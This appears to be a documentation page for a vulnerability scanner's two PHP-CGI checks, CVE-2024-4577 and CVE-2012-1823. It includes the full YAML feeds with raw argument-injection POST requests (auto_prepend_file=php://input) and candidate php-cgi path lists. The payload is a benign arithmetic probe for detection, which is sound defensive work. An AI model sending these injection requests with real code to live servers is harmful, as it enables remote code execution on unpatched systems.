PHP-CGI — 2 vulnerability checks
noctis ships 2 vulnerability checks for PHP-CGI, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
PHP-CGI Argument Injection RCE
| CVE | CVE-2024-4577 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/php-cgi/CVE-2024-4577.yaml |
PHP-CGI on Windows (8.1 before 8.1.29, 8.2 before 8.2.20, 8.3 before 8.3.8, and every earlier, unsupported branch) reads a soft hyphen (%AD) in the query string as `-` under some code pages, so php-cgi command-line switches can be injected. The feed injects `allow_url_include=1` and `auto_prepend_file=php://input` on the usual php-cgi locations and on /index.php, and sends an inert arithmetic expression as the request body. The finding is reported only when the reply carries the computed result of that expression, which proves the server evaluated the body as PHP code; nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST {{cgi_path}}?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env%3d0+%ADd+allow…, for each of 5 values - Parses / computes the next value with a Rhai script
- Checks
check.evaluatedfor^true$→ finding QoD 97: PHP-CGI argument injection RCE (CVE-2024-4577)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4577
- https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
- https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/php-cgi/CVE-2024-4577.yaml
# PHP-CGI Argument Injection RCE — CVE-2024-4577
#
# PHP-CGI on Windows under a CJK code page maps the soft hyphen (0xAD, sent as
# %AD) to `-` through Windows "best fit", bypassing the CVE-2012-1823 fix and
# allowing php-cgi argument injection via the query string. Exploited massively
# in the wild; in CISA KEV.
#
# Detection: POST with injected `-d allow_url_include=1 -d
# auto_prepend_file=php://input` (each `-` written as %AD) and an inert
# arithmetic body `<?php echo "<marker>".(A*B);?>` with a random marker and
# random A, B per run. Only real PHP evaluation of the body produces
# `<marker><A*B>`, a string the request never contains, so a server that echoes
# the request (honeypot, debug page, WAF block page) cannot match (#2367 — the
# old fixed marker was carried verbatim in the body and matched on any echo).
#
# Paths: the XAMPP ScriptAlias binary (/php-cgi/php-cgi.exe, the default
# install hit in the wild), the older candidate locations, and /index.php (any
# .php script served through the php-cgi Action handler is injectable).
# `-d cgi.force_redirect=0 -d cgi.redirect_status_env=0` lets a directly
# requested php-cgi.exe run (no REDIRECT_STATUS); inert on the Action path.
#
# Use tcp_connect to send %AD verbatim — reqwest may normalize percent-encoding
# in query strings before sending.
uid: 1548d342-fc4b-4504-97f7-21006ad34d30
name: "PHP-CGI Argument Injection RCE (CVE-2024-4577)"
description: |
PHP-CGI on Windows (8.1 before 8.1.29, 8.2 before 8.2.20, 8.3 before 8.3.8,
and every earlier, unsupported branch)
reads a soft hyphen (%AD) in the query string as `-` under some code pages,
so php-cgi command-line switches can be injected. The feed injects
`allow_url_include=1` and `auto_prepend_file=php://input` on the usual
php-cgi locations and on /index.php, and sends an inert arithmetic
expression as the request body. The finding is reported only when the reply
carries the computed result of that expression, which proves the server
evaluated the body as PHP code; nothing is written on the target.
cves: [CVE-2024-4577]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [php, cgi, rce, argument-injection, windows, intrusive, cisa-kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-4577"
- "https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/"
- "https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Per-run benign payload + the token only real evaluation produces ─────
# body : `<?php echo "<marker>".(A*B);?>` — 4-digit A, B
# token : `<marker><A*B>` — never present in the request itself
- id: build-payload
action: script
store_as: inj
code: |
let marker = "n" + rand_hex(5);
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let body = "<?php echo \"" + marker + "\".(" + a.to_string() + "*" + b.to_string() + ");?>";
#{ body: body, len: strlen(body), token: marker + (a * b).to_string() }
# ── Probe every candidate location; `stop: true` ends at the first proof ─
- id: probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST {{cgi_path}}?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{inj.len}}\r\n\r\n{{inj.body}}"
store_as: probe_resp
loop:
var: cgi_path
over:
- /php-cgi/php-cgi.exe
- /cgi-bin/php-cgi.exe
- /php-cgi.exe
- /cgi-bin/php.exe
- /index.php
# ── Did the server EVALUATE our body? (computed token in the reply?) ─────
- id: evaluate
action: script
store_as: check
code: |
// tcp_connect stores nothing when the connect / TLS handshake fails
let hay = "";
if is_def_var("probe_resp") && type_of(probe_resp.banner) == "string" { hay = probe_resp.banner; }
#{ evaluated: stridx(hay, inj.token) >= 0 }
- id: confirm
action: match
source: check.evaluated
pattern: "^true$"
on_match:
finding:
title: "PHP-CGI argument injection RCE (CVE-2024-4577)"
description: "php-cgi read the soft hyphen (%AD) in the query string as '-' and accepted `-d auto_prepend_file=php://input`: an inert arithmetic expression sent in the request body came back evaluated."
remediation: "Upgrade PHP to 8.1.29, 8.2.20, 8.3.8 or later, or stop running PHP as CGI (use PHP-FPM / mod_php) and remove the php-cgi ScriptAlias (XAMPP: /php-cgi/)."
confidence_delta: 0.70
qod: 97
evidence: "POST {{cgi_path}}?%ADd+...+auto_prepend_file%3dphp://input — the inert arithmetic body was returned evaluated (PHP code execution confirmed); computed result {{inj.token}} found in the reply"
stop: truePHP-CGI Query-String Argument Injection RCE
| CVE | CVE-2012-1823, CVE-2012-2311, CVE-2012-2335, CVE-2012-2336 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/php-cgi/php-cgi-query-string-arg-injection.yaml |
PHP before 5.3.13 and 5.4.x before 5.4.3 running as CGI (e.g. Apache mod_cgi / mod_cgid) treats a query string without `=` as php-cgi command-line switches, so `-d` / `-s` / `-n` can be injected. Injecting `-d allow_url_include=on -d auto_prepend_file=php://input` executes the request body as PHP code. This feed sends an inert arithmetic expression as the body and confirms that the server evaluated it.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST {{cgi_path}}?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don…, for each of 38 values - Parses / computes the next value with a Rhai script
- Checks
check.evaluatedfor^true$→ finding QoD 97: PHP-CGI query-string argument injection RCE (CVE-2012-1823)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
- https://nvd.nist.gov/vuln/detail/CVE-2012-2311
- https://nvd.nist.gov/vuln/detail/CVE-2012-2335
- https://nvd.nist.gov/vuln/detail/CVE-2012-2336
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2012/CVE-2012-1823.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/php_cgi_arg_injection.rb
Feed source — tests/vulnerabilities/php-cgi/php-cgi-query-string-arg-injection.yaml
# PHP-CGI query-string argument injection RCE
# CVE-2012-1823 (+ CVE-2012-2311 incomplete fix, CVE-2012-2335 / CVE-2012-2336 php-wrapper variants)
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_php_cgi_2012.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103482, GPL-2.0-only). Same request shape and
# candidate path list (the non-Windows set: `/`, `/index.php` and the
# php/php4/php5/php-cgi binaries under "", /cgi-bin, /cgi, /php-cgi).
#
# PHP before 5.3.12 / 5.4.2 (incomplete fix until 5.3.13 / 5.4.3), when run as
# CGI, passes a query string that starts with `-` and holds no `=` to php-cgi as
# command-line switches. `-d auto_prepend_file=php://input` makes PHP run the
# POST body as code before the requested script.
#
# Deviation from the NASL (benign proof, Flo's rule): the body is not
# `phpinfo()` but an inert arithmetic expression `<?php echo "<marker>".(A*B);?>`
# with a random marker and random A, B generated per run. A vulnerable target
# replies with `<marker><A*B>`, a value only real PHP evaluation of our body
# produces (the body itself never contains it). Nothing is written, no command
# runs. Intrusive (code is evaluated on the target) → `category: rce`.
#
# Addition to the NASL switch set: `-d cgi.force_redirect=0 -d
# cgi.redirect_status_env=0` (Kingcope's apache-magika exploit, Metasploit
# `php_cgi_arg_injection`). When the php-cgi binary itself is requested
# (/cgi-bin/php5…) the web server sets no REDIRECT_STATUS and php-cgi refuses
# with "Security Alert!" unless force_redirect is off, and `-n` drops php.ini so
# the compiled default (on) always applies. The two switches are inert on the
# `/index.php` Action-handler setup.
#
# Raw `tcp_connect`: the query must stay verbatim (`%3d`, `""`), an HTTP client
# would re-encode it. TLS is wrapped automatically for https services.
# Distinct from `php-cgi/CVE-2024-4577.yaml` (Windows soft-hyphen bypass of
# this same bug).
uid: ea0dfa2c-5b32-47ed-a6b7-820bd78477f5
name: "PHP-CGI Query-String Argument Injection RCE (CVE-2012-1823)"
description: |
PHP before 5.3.13 and 5.4.x before 5.4.3 running as CGI (e.g. Apache
mod_cgi / mod_cgid) treats a query string without `=` as php-cgi
command-line switches, so `-d` / `-s` / `-n` can be injected. Injecting
`-d allow_url_include=on -d auto_prepend_file=php://input` executes the
request body as PHP code. This feed sends an inert arithmetic expression as
the body and confirms that the server evaluated it.
cves: [CVE-2012-1823, CVE-2012-2311, CVE-2012-2335, CVE-2012-2336]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [php, php-cgi, cgi, rce, argument-injection, intrusive, cisa-kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-1823"
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2311"
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2335"
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2336"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2012/CVE-2012-1823.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/php_cgi_arg_injection.rb"
steps:
# ── Per-run benign payload + the token only real evaluation produces ─────
# body : `<?php echo "<marker>".(A*B);?>` — 4-digit A, B so the length is fixed
# token : `<marker><A*B>` — never present in the body itself
- id: build-payload
action: script
store_as: inj
code: |
let marker = "n" + rand_hex(5);
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let body = "<?php echo \"" + marker + "\".(" + a.to_string() + "*" + b.to_string() + ");?>";
#{ body: body, len: strlen(body), token: marker + (a * b).to_string() }
# ── Probe every candidate php-cgi location (NASL list, non-Windows) ──────
# Query = the NASL's switch set, verbatim. The loop groups the probe with the
# two following steps, and `stop: true` ends it at the first confirmed path.
- id: probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST {{cgi_path}}?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don+-d+disable_functions%3d\"\"+-d+open_basedir%3dnone+-d+cgi.force_redirect%3d0+-d+cgi.redirect_status_env%3d0+-d+auto_prepend_file%3dphp://input+-n HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{inj.len}}\r\n\r\n{{inj.body}}"
store_as: probe_resp
loop:
var: cgi_path
over:
- /
- /index.php
- /php
- /php4
- /php4-cgi
- /php4.cgi
- /php5
- /php5-cgi
- /php5.cgi
- /php-cgi
- /php.cgi
- /cgi-bin/php
- /cgi-bin/php4
- /cgi-bin/php4-cgi
- /cgi-bin/php4.cgi
- /cgi-bin/php5
- /cgi-bin/php5-cgi
- /cgi-bin/php5.cgi
- /cgi-bin/php-cgi
- /cgi-bin/php.cgi
- /cgi/php
- /cgi/php4
- /cgi/php4-cgi
- /cgi/php4.cgi
- /cgi/php5
- /cgi/php5-cgi
- /cgi/php5.cgi
- /cgi/php-cgi
- /cgi/php.cgi
- /php-cgi/php
- /php-cgi/php4
- /php-cgi/php4-cgi
- /php-cgi/php4.cgi
- /php-cgi/php5
- /php-cgi/php5-cgi
- /php-cgi/php5.cgi
- /php-cgi/php-cgi
- /php-cgi/php.cgi
# ── Did the server EVALUATE our body? (computed token in the reply?) ─────
- id: evaluate
action: script
store_as: check
code: |
let hay = if type_of(probe_resp.banner) == "string" { probe_resp.banner } else { "" };
#{ evaluated: stridx(hay, inj.token) >= 0 }
- id: confirm
action: match
source: check.evaluated
pattern: "^true$"
on_match:
finding:
title: "PHP-CGI query-string argument injection RCE (CVE-2012-1823)"
description: "php-cgi accepted command-line switches from the query string: `-d auto_prepend_file=php://input` made it evaluate the request body as PHP. An inert arithmetic expression sent in the body came back evaluated."
remediation: "Upgrade PHP to 5.3.13 / 5.4.3 or later, or stop exposing php-cgi directly (use PHP-FPM / mod_php, or a rewrite rule rejecting query strings that start with '-')."
confidence_delta: 0.70
qod: 97
evidence: "POST {{cgi_path}}?-d+...+auto_prepend_file%3dphp://input — the inert arithmetic body was returned evaluated (PHP code execution confirmed)"
stop: true